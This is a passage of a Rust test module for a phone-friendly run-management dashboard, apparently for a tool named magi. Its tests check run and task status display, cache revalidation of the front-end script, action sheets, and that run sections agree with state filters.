        );
        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
        q.put(&mut t3).expect("put");
        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
        assert_eq!(view3["latest_attempt"]["id"], run_b);
        assert_eq!(view3["latest_attempt"]["resolved"], false);
        assert_eq!(view3["latest_attempt"]["done"], false);

        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
        // to check - not a confirmed finish, so this must not read as
        // resolved either, even though the run is done in the sense that
        // nothing is still running.
        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
        write_run(&runs, noop_a, RunStatus::Blocked);
        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
        let mut t2 = Task::new(
            "claims done".to_owned(),
            "do it".to_owned(),
            PathBuf::from("/repo"),
            Source::Human,
        );
        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
        q.put(&mut t2).expect("put");
        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
        assert_eq!(
            view2["latest_attempt"]["resolved"], false,
            "an unverified no-op claim must not read as a confirmed finish"
        );

        // Front end: an unresolved successor must not carry the "finished
        // this work" note or the muted chip treatment.
        assert!(APP_JS.contains("latest.resolved"));
        // ...but the link to it shows as soon as it exists, labelled by state
        // and without the "finished" wording or the muted chip.
        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
        assert!(APP_JS.contains("Latest attempt: "));
        assert!(APP_JS.contains("in flight"));
        assert!(APP_JS.contains("not resolved"));
    }

    #[tokio::test]
    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
        let fx = Fixture::start().await;
        // No cache header at all meant browsers invented their own policy,
        // and one did: a phone went on showing "Candidates must be folded
        // before deleting. Run `magi fold` first." - deleted two releases
        // earlier - from a deck that no longer contained the sentence. The
        // button it named was right there, and unreachable.
        let js = fx.get("/app.js").await;
        assert_eq!(js.status, 200);
        let tag = js
            .header("etag")
            .expect("an etag to revalidate against")
            .to_owned();
        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
        assert_eq!(
            js.header("cache-control"),
            Some("no-cache, must-revalidate"),
            "the phone has to ask every time"
        );

        // And the asking has to be cheap, or `must-revalidate` just means
        // "send the whole interface on every load".
        let again = fx
            .get_with("/app.js", &[("if-none-match", tag.as_str())])
            .await;
        assert_eq!(
            again.status, 304,
            "a deck it already has costs one round trip"
        );
        assert!(again.body.is_empty(), "304 carries no body");

        // A weakened tag from a proxy still matches; a different build does
        // not, which is the case that has to deliver the new interface.
        let weak = fx
            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
            .await;
        assert_eq!(weak.status, 304);
        let stale = fx
            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
            .await;
        assert_eq!(stale.status, 200, "an older build must be replaced");
        assert!(stale.body.contains("renderRunActions"));
    }

    #[test]
    fn the_task_detail_has_an_actions_fab_and_sheet() {
        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
        // Shown only on the task route, closed everywhere else.
        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
        // Refreshed whenever the detail redraws, including the loading state.
        assert!(APP_JS.contains("renderTaskActions(task);"));
        assert!(APP_JS.contains("renderTaskActions(null);"));
        // Same renderers and routes as the Queue card, no new endpoint.
        let sheet = APP_JS
            .find("function renderTaskActions")
            .expect("sheet renderer");
        let body = &APP_JS[sheet..sheet + 3000];
        assert!(body.contains("changePriority("));
        assert!(body.contains("openTaskEdit(task)"));
        assert!(body.contains("renderTaskHoldBox(host"));
        assert!(body.contains("renderTaskDoneBox(host"));
        assert!(body.contains("renderTaskDeleteBox(host"));
        assert!(APP_JS.contains("API.priority(id)"));
        assert!(APP_JS.contains("API.deleteTask(id)"));
        // A deleted task sends the operator back to the queue.
        assert!(APP_JS.contains("location.hash = \"#/queue\""));
        // A refusal is shown inside the sheet.
        assert!(APP_JS.contains("$(\"task-actions-error\")"));
    }

    #[test]
    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
        let actions = INDEX_HTML
            .find("id=\"run-actions-box\"")
            .expect("actions box");
        assert!(task < actions, "the task entry comes first in the sheet");
        assert!(APP_JS.contains("renderRunTaskEntry"));
        assert!(APP_JS.contains("\"Open task \""));
        // A run without a task says why there is nothing to open.
        assert!(APP_JS.contains("started directly, no task"));
        assert!(APP_JS.contains("sheet-task-link"));
        assert!(APP_JS.contains("task-chip-link"));
    }

    #[test]
    fn the_deck_never_sends_the_operator_to_a_terminal() {
        // The whole point of the phone UI is that a terminal is not needed.
        // The delete control used to answer with "Run `magi fold` first."
        assert!(
            !APP_JS.contains("Run `magi fold` first"),
            "the deck must offer the fold, not prescribe a shell command"
        );
        assert!(APP_JS.contains("foldRun:"));
        assert!(APP_JS.contains("resumeRun:"));
        assert!(APP_JS.contains("renderRunActions"));

        // Folding is destructive and armed in two steps, like deleting.
        assert!(APP_JS.contains("armedFold"));
        assert!(APP_JS.contains("Yes, fold worktrees"));

        // And the copy has to say that the two actions are opposites, because
        // folding throws away exactly what a resume would continue from.
        assert!(APP_JS.contains("can no longer be resumed"));
    }

    #[test]
    fn a_finished_run_explains_itself_with_its_own_last_line() {
        // The deck used to answer "why did this stop?" with a sentence chosen
        // by status alone. Run e633 stalled because two judges answered with
        // the wrong JSON shape and its card said "The panel collapsed on
        // agent quota" - with `quota: []` in the record and a quota-loss
        // counter right above it that correctly said nothing.
        assert!(
            !APP_JS.contains("collapsed on agent quota"),
            "a stall must not be explained by a cause the deck did not check"
        );
        assert!(
            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
            "and a block must not offer a guess with an `or` in it"
        );

        // The reason it does have is `run.event`, which must reach finished
        // runs: gating it on movement hid the recorded truth at the one moment
        // the operator is reading the card to find out what happened.
        assert!(
            APP_JS.contains("setText(r.event, run.event || \"\")"),
            "the run's last line is rendered unconditionally"
        );
        assert!(
            !APP_JS.contains("moving && run.event"),
            "and never gated on the run still moving"
        );

        // Quota keeps its own counter, fed by the number actually recorded.
        assert!(APP_JS.contains("lost to quota"));
    }

    /// The runs tree (section) and the state chips (waiting/done) are two
    /// independent lenses ANDed together in `renderRuns`, and some pairings
    /// can never both be true for any run - every "Landed"/"Ended" run is
    /// done by construction, so pairing either with "Active" or "In flight"
    /// always rendered zero cards with the filter bar still claiming
    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
    /// a handful of (waiting, status) shapes standing in for the run
    /// lifecycle, because `cargo test` cannot execute the front end.
    ///
    /// That stand-in list is itself the part that drifted twice in review:
    /// once shipped with `waiting: true` paired with a done status the
    /// lifecycle cannot produce, then over-corrected into treating every
    /// waiting run as never done - which made "Waiting on you" look
    /// incompatible with "Done" even for the one real, reachable shape
    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
    /// that combination. This test parses the shapes and the done-rule back
    /// out of `APP_JS`, reimplements `runSection` and the five state
    /// predicates independently in Rust, and checks the resulting
    /// section/filter compatibility table against the lifecycle rules by
    /// hand - so either direction of drift fails it again.
    #[test]
    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
        let shapes_body_start =
            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
        let shapes_close = APP_JS[shapes_body_start..]
            .find("].map(")
            .expect("the shape list is closed by its done-computing .map(...)")
            + shapes_body_start;
        let shapes_src = &APP_JS[shapes_body_start..shapes_close];

        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
        for entry in shapes_src.split('{').skip(1) {
            let waiting = entry.contains("waiting: true");
            let dead = entry.contains("live: \"dead\"");
            let status_at =
                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
            let status_end = entry[status_at..]
                .find('"')
                .expect("the status string is closed")
                + status_at;
            let parked = entry.contains("display_status: \"parked\"");
            shapes.push((
                waiting,
                entry[status_at..status_end].to_string(),
                dead,
                parked,
            ));
        }
        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");

        // The done rule itself (`!["implementing"].includes(shape.status)`),
        // read out of the source rather than hardcoded, so a renamed
        // in-flight status can't silently make every parsed shape "done".
        let done_rule_marker = "done: !";
        let done_rule_at = APP_JS[shapes_close..]
            .find(done_rule_marker)
            .expect("the done rule follows the shape list")
            + shapes_close
            + done_rule_marker.len();
        let includes_at = APP_JS[done_rule_at..]
            .find(".includes(shape.status)")
            .expect("the done rule ends in .includes(shape.status)")
            + done_rule_at;
        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
            .trim()
            .trim_start_matches('[')
            .trim_end_matches(']')
            .split(',')
            .map(|s| s.trim().trim_matches('"'))
            .filter(|s| !s.is_empty())
            .collect();

        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
            .into_iter()
            .map(|(waiting, status, dead, parked)| {
                let done = !not_done.contains(&status.as_str());
                (waiting, status, dead, parked, done)
            })
            .collect();

        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
        // outright, then merged/ready land, stalled/blocked/failed/
        // verified_noop end, and everything else is still in flight.
        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
            if waiting {
                return "waiting";
            }
            if dead
                && !parked
                && !matches!(
                    status,
                    "merged"
                        | "ready"
                        | "stalled"
                        | "blocked"
                        | "failed"
                        | "verified_noop"
                        | "superseded"
                        | "already_in_base"
                )
            {
                return "stale";
            }
            match status {
                "merged" | "ready" => "landed",
                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
                | "already_in_base" => "ended",
                _ => "flight",
            }
        }

        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
        // way.
        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
            match filter_key {
                "active" => !done,
                "flight" => !done && !waiting && !dead,
                "stale" => !done && !waiting && dead,
                "waiting" => waiting,
                "done" => done,
                "all" => true,
                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
            }
        }

        let compatible = |section: &str, filter_key: &str| {
            shapes.iter().any(|(waiting, status, dead, parked, done)| {
                run_section(*waiting, status, *dead, *parked) == section
                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
            })
        };

        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
        // (active, flight, stale, waiting, done, all) - hand-derived from the
        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
        // currently contains.
        let expected = [
            ("waiting", [true, false, false, true, true, true]),
            ("stale", [true, false, true, false, false, true]),
            ("flight", [true, true, false, false, false, true]),
            ("landed", [false, false, false, false, true, true]),
            ("ended", [false, false, false, false, true, true]),
        ];
        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];

        for (section, wants) in expected {
            for (filter_key, want) in filter_keys.iter().zip(wants) {
                assert_eq!(
                    compatible(section, filter_key),
                    want,
                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
                );
            }
        }

        // The compatibility check exists only to be acted on: both pickers
        // must actually consult it rather than just render its answer.
        assert!(
            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
        );
        assert!(APP_JS.contains(
            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
        ));
        assert!(APP_JS.contains(
            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
        ));
    }

    #[tokio::test]
    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
        // An operator-named directory - git checkout or not - is never
        // second-guessed, even when it does not exist at all: only the
        // flag's own unmodified `.` default is ever eligible for discovery.
        let dir = tempfile::tempdir().expect("tempdir");
        let explicit = dir.path().join("not-a-checkout");
        std::fs::create_dir_all(&explicit).expect("create dir");
        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);

        let missing = dir.path().join("does-not-exist-at-all");
        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
    }

    #[test]
    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
        assert!(APP_JS.contains("function statsDonutArcs"));
        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
        // A bucket click filters by the statuses src/stats.rs counts in it.
        assert!(APP_JS.contains("function statusInBucket"));
        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
        let buckets = [
            "merged",
            "ready",
            "in_progress",
            "blocked",
            "failed",
            "verified_noop",
            "superseded",
            "stalled",
        ];
        for key in buckets {
            let var = format!("--verdict-{key}:");
            // Light, OS-dark and pinned-dark blocks each define it.
            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
            assert!(
                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
                "{key}"
            );
        }
    }
}